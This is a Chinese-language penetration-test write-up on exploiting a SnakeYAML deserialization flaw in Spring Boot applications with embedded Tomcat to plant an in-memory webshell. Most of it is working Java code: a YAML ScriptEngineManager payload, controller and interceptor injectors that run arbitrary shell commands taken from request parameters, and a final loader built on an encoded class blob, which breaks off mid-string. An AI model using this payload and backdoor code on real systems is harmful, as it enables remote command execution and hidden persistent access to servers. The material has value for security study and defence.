本文简要分析了snakeyaml漏洞在一般场景下注入内存马的难点,并对存在内嵌tomcat依赖的spring应用提出一种漏洞利用思路
前几天接到个任务,目标系统采用springboot框架,测试发现存在 /env 等配置信息泄露,且存在 snake-yaml 漏洞,通过 dump 内存及修改 spring.cloud.bootstrap.location 字段可以确定目标不出网且以jar包形式运行,且该系统为内网端口映射方式运行,不可直接与目标主机通信。幸好目标系统可以上传任意文件,且spring服务端口号与映射端口号一致,这样我们可以先上传jar包到可访问目录下:
拼接后的路径为:http://ip:9090/server/static/img/2022/04/10/90920220410084330581.jar,将ip替换为 127.0.0.1,写入yaml文件:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9090/server/static/img/2022/04/10/90920220410084330581.jar"]
]]
]
替换 spring.cloud.bootstrap.location 字段后刷新配置:
返回报错,但查看异常发现已经创建了 ScriptEngineManager 实例,即可以任意执行代码,通过将执行结果输出到可访问文件中,可获取回显:
然而仅仅是能执行命令肯定是不够的,首先想到的就是写入内存马,既然能够任意代码执行,那么写内存马肯定不难,我天真的这么以为,然而折磨才刚刚开始。。。
此处仅针对非Java agent类型内存马,一般的注入思路都是找到一个保存当前应用上下文的全局变量,进而取出我们需要注入的组件进行修改。对于Spring,可注入的组件有 控制器Controller 和 拦截器Interceptor,前者通过注册一个路由绑定我们需要执行的恶意方法,后者在拦截器数组中插入我们的恶意拦截器,以达到在请求真实数据前执行我们的恶意方法。对于实际情况,由于系统可能会对某些路由进行安全性准入,故拦截器利用的效果更好。以下是一些常见的注入测试代码。
package code.landgrey.controller; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.reflect.Method; import java.util.Arrays; @RestController @EnableAutoConfiguration public class ControllerInject { @RequestMapping("/inject2") public String inject() { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); // 注册执行命令的shell Method method = (Evil.class.getMethods())[0]; PatternsRequestCondition url = new PatternsRequestCondition("/exec"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, new Evil(), method); return "success"; } catch (Exception e){ return (Arrays.toString(e.getStackTrace())); } } public class Evil { public Evil() { } @RequestMapping(value = "/exec") public void exec(HttpServletRequest request, HttpServletResponse response) throws IOException { try { String cmd = request.getParameter("code"); if (cmd != null) { Process process; if (System.getProperty("os.name").toLowerCase().contains("win")) { process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } response.getOutputStream().write(stringBuilder.toString().getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); } else { response.sendError(404); } } catch (Exception var8) { } } } }
package code.landgrey.controller; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Field; @RestController @EnableAutoConfiguration public class InterceptorInject { @RequestMapping("/inject") public String inject() throws Exception { // 获取应用上下文 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 通过绑定Bean 取出 RequestMappingHandlerMapping RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); //实例化恶意拦截器并注册 for (Object i : adaptedInterceptors) { if (i.getClass().getName().contains("Madao")) { return "ok"; } } adaptedInterceptors.add(new Madao()); return "success"; } public class Madao extends HandlerInterceptorAdapter { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("passer") != null) { String cmd = request.getParameter("passer"); Process process; if (System.getProperty("os.name").toLowerCase().contains("win")) { process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } response.getOutputStream().write(stringBuilder.toString().getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return false; } return true; } } }
以上代码本地测试均可通过,对于yaml漏洞无非就是把ScriptEngineFactory
子类中的初始化代码改成控制器中的代码,核心代码如下:
AwesomeScriptEngineFactory.class
:
package artsploit; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.lang.reflect.Field; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { // 获取应用上下文 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 通过绑定Bean 取出 RequestMappingHandlerMapping RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); //实例化恶意拦截器并注册 for (Object i : adaptedInterceptors) { if (i.getClass().getName().contains("Madao")) { return; } } adaptedInterceptors.add(Class.forName("artsploit.Madao").newInstance()); } catch (Exception e) { e.printStackTrace(); } } public String getEngineName() { return null; } public String getEngineVersion() { return null; } public List<String> getExtensions() { return null; } public List<String> getMimeTypes() { return null; } public List<String> getNames() { return null; } public String getLanguageName() { return null; } public String getLanguageVersion() { return null; } public Object getParameter(String key) { return null; } public String getMethodCallSyntax(String obj, String m, String... args) { return null; } public String getOutputStatement(String toDisplay) { return null; } public String getProgram(String... statements) { return null; } public ScriptEngine getScriptEngine() { return null; } }
Madao.class
:
package artsploit; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; public class Madao extends HandlerInterceptorAdapter { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("passer") != null) { String cmd = request.getParameter("passer"); Process process; if (System.getProperty("os.name").toLowerCase().contains("win")) { process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } response.getOutputStream().write(stringBuilder.toString().getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return false; } return true; } }
于是我信心满满的打包好,上传,刷新,一切都那么波澜不惊,仿佛无事发生。。。
这我就不服了,当即拉了个漏洞环境到本地:SpringBootVulExploit,Idea打开,直接maven右键debug spring-boot:run
即可debug运行:
为方便测试,写一个控制器如下:
package code.landgrey.controller; import org.springframework.beans.factory.BeanFactory; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.script.ScriptEngineManager; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; @RestController @EnableAutoConfiguration public class Yaml { @RequestMapping("/yaml") public String yamlTest() throws MalformedURLException { URL url = new URL("http://127.0.0.1:8081/yaml-payload.jar?t="+new Date().getTime()); new ScriptEngineManager(new URLClassLoader(new URL[]{url})); return "success"; } }
由于 URLClassLoader 对于相同的url会进行缓存,故传入url为
"http://127.0.0.1:8081/yaml-payload.jar?t="+new Date().getTime()
,这样替换jar包后每次都会重新发起请求。
等效于yaml反序列化创建一个 ScriptEngineManger,jar包保存在本地开启的tomcat根目录下,访问一下果然报错:
在ScriptEngineManger#initEngines
里下个断点,捕获异常:
可以看到报错原因是无法加载 springframework包 下的类,原因暂时不管,不过我们在打jar包中是不是把依赖都打包进去就好了呢,试一下,打包后的体积明显大了很多:
果然不报依赖错误了,然而:
报错的大概意思是:当前线程不是web线程,无法访问到当前的全局属性。那么大概就是在获取 currentRequestAttributes 时发生错误,这里下个断点,重新请求:
果然获取到的RequestAttributes为空,而正常注入时获取到的RequestAttributes:
保存了当前应用的上下文,故我们的jar包无法进行下一步利用。
那么为什么会获取不到RequestAttributes呢,再跟进一下:
即从当前类的requestAttributesHolder或inheritableRequestAttributesHolder中取出属性,看下这两个变量的定义:
是两个与线程绑定的全局变量,查看当前属性的线程HashCode:
与正常Controller获取到的属性比较:
可以看到其实在进入 ScriptEngineManger 后新创建了一个线程,故无法获取到主线程的上下文属性。
此处其实执行
Thread.currentThread()
获取到的仍然是同一线程,没搞懂,姑且当作spring的特性吧。
因此常规获取上下文的方法行不通了。参考Landgrey师傅的思路:
从 liveBenasView
中取出当前上下文,试试可不可行,先写个控制器:
package code.landgrey.controller; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @EnableAutoConfiguration public class LiveBeans { @RequestMapping("/livebeans") public String beans() throws Exception{ // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); // 2. 属性被 private 修饰,所以 setAccessible true filed.setAccessible(true); // 3. 获取一个 ApplicationContext 实例 org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next(); return "success"; } }
访问发现报错:
在 LiveBeansView#registerApplicationContext
方法下断点,重启spring,发现进入该方法:
获取环境变量 mbeanDomain
为null,故不进行Bean的注册,因此也无法通过此方法获取到上下文,只能另想他招。
先利用 java-object-searcher 找一下能获取到applicationContext
的链,安装到本地maven后引入依赖即可使用:
<dependency>
<groupId>me.gv7.tools</groupId>
<artifactId>java-object-searcher</artifactId>
<version>0.1.0</version>
</dependency>
找到的链大致如下:
而在测试线程时刚好看到在进入恶意jar包时线程上下文的 ClassLoader 为 TomcatEmbeddedWebappClassLoader
,即内嵌TomcatClassLoader:
在往下翻几层:
可以看到 contextClassLoader.resources.context.context
是一个眼熟的类,把它取出来看看:
发现attributes里又保存了个眼熟的值,把org.springframework.web.context.WebApplicationContext.ROOT
取出来:
发现刚好是个 BeanFactory
,打印所有Bean:
发现跟从 WebApplicationContext
中取出的 Bean 一模一样,其中也保存了requestMappingHandlerMapping ,
那么我们可以从当前线程获取到这个变量,然后再取出 requestMappingHandlerMapping 绑定的 Bean不就能达到一样的效果了吗?
先写个控制器试一下:
package code.landgrey.controller; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedWebappClassLoader; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import java.lang.reflect.Field; @RestController @EnableAutoConfiguration public class TomcatInject { @RequestMapping("/tomcat") public String tomcat() throws Exception{ // 取出内嵌tomcat上下文 Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext(); // TomcatEmbeddedContext非公共类,反射取出私有属性context Field contextField = StandardContext.class.getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(tomcatEmbeddedContext); // 以下类似 WebApplicationContext context = (WebApplicationContext)applicationContext.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT"); RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); // 防止重复注册 for (Object i : adaptedInterceptors) { if (i.getClass().getName().contains("Madao")) { return "ok"; } } //实例化恶意拦截器并注册 adaptedInterceptors.add(Class.forName("artsploit.Madao").newInstance()); return "success"; } }
访问http://127.0.0.1:9092/tomcat :
已成功注入:
正当我再次满怀期待的打好jar包测试时,现实又给了我当头一棒:
两个一模一样的类告诉我不能强制转换,这下给我整不会了。
查阅相关资料后,发现原来是 JVM 的规范引起的:
JVM判断两个类对象是否相同的依据:一是类全称;一个是类加载器。
而我们在创建 ScriptEngineManger时,是新建了一个 URLClassLoader 实例加载我们的 jar 包,因此jar包里的依赖都是由 新的 URLClassLoader 加载的,而非主线程的URLClassLoader:
这也解释了之前找不到依赖的原因。
为了解决这个bug,首先想到的是全部用反射调用方法和属性,花了好大功夫才一步步整出来下面这个畸形的类,其中艰辛不再细说:
package artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { // 从当前线程取出上下文,适用于多线程情况 -> 会报错,还是反射调用吧 // Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext(); ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader(); Method getResources = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getMethod("getResources"); Object resources = getResources.invoke(tomcatClassLoader); Method getContext = getResources.invoke(tomcatClassLoader).getClass().getMethod("getContext"); Object tomcatEmbeddedContext = (Object) getContext.invoke(resources); // 取出 ApplicationContext Field contextField = getContext.invoke(resources).getClass().getSuperclass().getDeclaredField("context"); contextField.setAccessible(true); Object applicationContext = (Object) contextField.get(tomcatEmbeddedContext); Method getAttribute = contextField.get(tomcatEmbeddedContext).getClass().getMethod("getAttribute", String.class); Object webApplicationContext = (Object) getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT"); Class<?> abstractApplicationContext = getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT").getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); Method getBean = abstractApplicationContext.getMethod("getBean", String.class); Method getBeanDefinitionNames =abstractApplicationContext.getMethod("getBeanDefinitionNames"); // 测试输出所有 Bean Object[] result = (Object[]) getBeanDefinitionNames.invoke(webApplicationContext); for(Object r:result){ System.out.println(r.toString()); } } catch (Exception e) { e.printStackTrace(); } } public String getEngineName() { return null; } public String getEngineVersion() { return null; } public List<String> getExtensions() { return null; } public List<String> getMimeTypes() { return null; } public List<String> getNames() { return null; } public String getLanguageName() { return null; } public String getLanguageVersion() { return null; } public Object getParameter(String key) { return null; } public String getMethodCallSyntax(String obj, String m, String... args) { return null; } public String getOutputStatement(String toDisplay) { return null; } public String getProgram(String... statements) { return null; } public ScriptEngine getScriptEngine() { return null; } }
测试输出所有绑定的 Bean :
此时胜利的曙光仿佛就在眼前,取出拦截器列表后插入一个恶意类:
Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
// 单例模式
Object abstractHandlerMapping = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
Field field = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
for (Object i : adaptedInterceptors) {
if (i.getClass().getName().contains("Madao")) {
return;
}
}
adaptedInterceptors.add(new Madao());
System.out.println("1ok");
直接访问并未报错:
然而。。。
正如前文提到的,加载jar包的类加载器与主线程的不一致,故我们写的恶意拦截器不能强制转换为主线程中的拦截器类,因此报错,难道只能这样就结束了吗?
重新查看当前线程的内嵌tomcat加载器:
注意到这个父加载器,取出来看看:
发现它刚好就是我们主线程的加载器,那么我们可以先获取到这个主加载器,再用它加载我们的 Madao
拦截器不就可以了吗,用此思路,顺便将核心代码封装为 Evil
类,利用子线程的ClassLoader加载,再在 Evil
类中获取主加载器,加载我们的Madao
插入拦截器中。这样不用引入任何依赖,jar包体积也缩小至几KB,最终代码如下:
AwesomeScriptEngineFactory.class
:
package artsploit; import org.apache.catalina.Context; import org.apache.catalina.WebResourceRoot; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.springframework.beans.factory.BeanFactory; import org.springframework.boot.context.embedded.AnnotationConfigEmbeddedWebApplicationContext; import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedWebappClassLoader; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Arrays; import java.util.Base64; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { ClassLoader classLoader = this.getClass().getClassLoader(); Class evilClass = defineClass(classLoader, "yv66vgAAADQAzAoACQBnCgBoAGkKAGgAagoACQBrCgAHAGwIADsHAG0KAAcAbgcAbwoAcABxCAA+CAByCgAHAHMKAHQAdQoAdAB2CABDBwB3CAB4CABHCABICAB5CABLCQB6AHsIAHwKAH0AfgcAfwoAGgCACwCBAIILAIEAgwoABwCECACFCgARAIYIAIcHAIgIAIkKAC8AigoABwCLCgAaAIwIAF4HAGQJAI0AjgoABwCPCgBwAHUKAJAAkQoAkgCTCgCNAJQHAJUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABaQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABHRoaXMBABBMYXJ0c3Bsb2l0L0V2aWw7AQARdG9tY2F0Q2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADGdldFJlc291cmNlcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAJcmVzb3VyY2VzAQAKZ2V0Q29udGV4dAEAFXRvbWNhdEVtYmVkZGVkQ29udGV4dAEADGNvbnRleHRGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABJhcHBsaWNhdGlvbkNvbnRleHQBAAxnZXRBdHRyaWJ1dGUBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBABphYnN0cmFjdEFwcGxpY2F0aW9uQ29udGV4dAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0QmVhbgEAFmdldEJlYW5EZWZpbml0aW9uTmFtZXMBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQAFZmllbGQBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAUZ2V0UGFyZW50Q0xhc3NMb2FkZXIBABFwYXJlbnRDbGFzc0xvYWRlcgEACm1hZGFvQ2xhc3MBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADVN0YWNrTWFwVGFibGUHAJUHAIgHAJYHAG8HAJcHAG0HAH8HAJgBAApFeGNlcHRpb25zBwCZAQALZGVmaW5lQ2xhc3MBADwoTGphdmEvbGFuZy9DbGFzc0xvYWRlcjtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtjbGFzc0xvYWRlcgEACWNsYXNzQnl0ZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACWV2YWxCeXRlcwEAAltCAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAMAAxBwCaDACbAJwMAJ0AngwAnwCgDAChAKABAA9qYXZhL2xhbmcvQ2xhc3MMAKIAowEAEGphdmEvbGFuZy9PYmplY3QHAJYMAKQApQEAB2NvbnRleHQMAKYApwcAlwwAqACpDACqAKsBABBqYXZhL2xhbmcvU3RyaW5nAQA6b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5XZWJBcHBsaWNhdGlvbkNvbnRleHQuUk9PVAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcHAKwMAK0ArgEAAzFvawcArwwAsACxAQATamF2YS91dGlsL0FycmF5TGlzdAwAsgCzBwCYDAC0ALUMALYAtwwAuAC5AQAFTWFkYW8MALoAuwEAFGdldFBhcmVudENsYXNzTG9hZGVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQzEeXY2NnZnQUFBRFFBbFFvQUlnQklDQUJKQ3dCS0FFc0lBRXdLQUUwQVRnb0FDZ0JQQ0FCUUNnQUtBRkVLQUZJQVV3Y0FWQWdBVlFnQVZnb0FVZ0JYQ0FCWUNBQlpCd0JhQndCYkNnQmNBRjBLQUJFQVhnb0FFQUJmQndCZ0NnQVZBRWdLQUJBQVlRb0FGUUJpQ2dBVkFHTUtBQlVBWkFzQVpRQm1DZ0FLQUdjS0FHZ0FhUW9BYUFCcUNnQm9BR3NMQUdVQWJBY0FiUWNBYmdFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUFSVEdGeWRITndiRzlwZEM5TllXUmhienNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFIY0hKdlkyVnpjd0VBRTB4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFBNWlkV1ptWlhKbFpGSmxZV1JsY2dFQUdFeHFZWFpoTDJsdkwwSjFabVpsY21Wa1VtVmhaR1Z5T3dFQURYTjBjbWx1WjBKMWFXeGtaWElCQUJsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WjBKMWFXeGtaWEk3QVFBRWJHbHVaUUVBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUEyTnRaQUVBQjNKbGNYVmxjM1FCQUNkTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREc0JBQWh5WlhOd2IyNXpaUUVBS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc0JBQWRvWVc1a2JHVnlBUUFTVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBVkFjQWJ3Y0FXZ2NBWUFjQWJRY0FjQWNBY1FjQWNnRUFDa1Y0WTJWd2RHbHZibk1IQUhNQkFBcFRiM1Z5WTJWR2FXeGxBUUFLVFdGa1lXOHVhbUYyWVF3QUl3QWtBUUFHY0dGemMyVnlCd0J3REFCMEFIVUJBQWR2Y3k1dVlXMWxCd0IyREFCM0FIVU1BSGdBZVFFQUEzZHBiZ3dBZWdCN0J3QjhEQUI5QUg0QkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQUhZMjFrTG1WNFpRRUFBaTlqREFCL0FJQUJBQVJpWVhOb0FRQUNMV01CQUJacVlYWmhMMmx2TDBKMVptWmxjbVZrVW1WaFpHVnlBUUFaYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlZKbFlXUmxjZ2NBYnd3QWdRQ0NEQUFqQUlNTUFDTUFoQUVBRjJwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlEQUNGQUhrTUFJWUFod3dBaGdDSURBQ0pBSGtIQUhFTUFJb0Fpd3dBakFDTkJ3Q09EQUNQQUpBTUFKRUFKQXdBa2dBa0RBQ1RBSlFCQUE5aGNuUnpjR3h2YVhRdlRXRmtZVzhCQUVGdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZTR0Z1Wkd4bGNrbHVkR1Z5WTJWd2RHOXlRV1JoY0hSbGNnRUFFV3BoZG1FdmJHRnVaeTlRY205alpYTnpBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRVdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsQVFBS1oyVjBVblZ1ZEdsdFpRRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsT3dFQUJHVjRaV01CQUNnb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdBUUFPWjJWMFNXNXdkWFJUZEhKbFlXMEJBQmNvS1V4cVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdE93RUFHQ2hNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzcFZnRUFFeWhNYW1GMllTOXBieTlTWldGa1pYSTdLVllCQUFoeVpXRmtUR2x1WlFFQUJtRndjR1Z1WkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeU93RUFIQ2hES1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjanNCQUFoMGIxTjBjbWx1WndFQUQyZGxkRTkxZEhCMWRGTjBjbVZoYlFFQUpTZ3BUR3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEU5MWRIQjFkRk4wY21WaGJUc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQ0ZxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSUGRYUndkWFJUZEhKbFlXMEJBQVYzY21sMFpRRUFCU2hiUWlsV0FRQUZabXgxYzJnQkFBVmpiRzl6WlFFQUNYTmxibVJGY25KdmNnRUFCQ2hKS1ZZQUlRQWhBQ0lBQUFBQUFBSUFBUUFqQUNRQUFRQWxBQUFBTHdBQkFBRUFBQUFGS3JjQUFiRUFBQUFDQUNZQUFBQUdBQUVBQUFBS0FDY0FBQUFNQUFFQUFBQUZBQ2dBS1FBQUFBRUFLZ0FyQUFJQUpRQUFBZDBBQlFBSkFBQUEzQ3NTQXJrQUF3SUF4Z0RTS3hJQ3VRQURBZ0E2QkJrRXhnQzRFZ1M0QUFXMkFBWVNCN1lBQ0prQUliZ0FDUWE5QUFwWkF4SUxVMWtFRWd4VFdRVVpCRk8yQUEwNkJhY0FIcmdBQ1FhOUFBcFpBeElPVTFrRUVnOVRXUVVaQk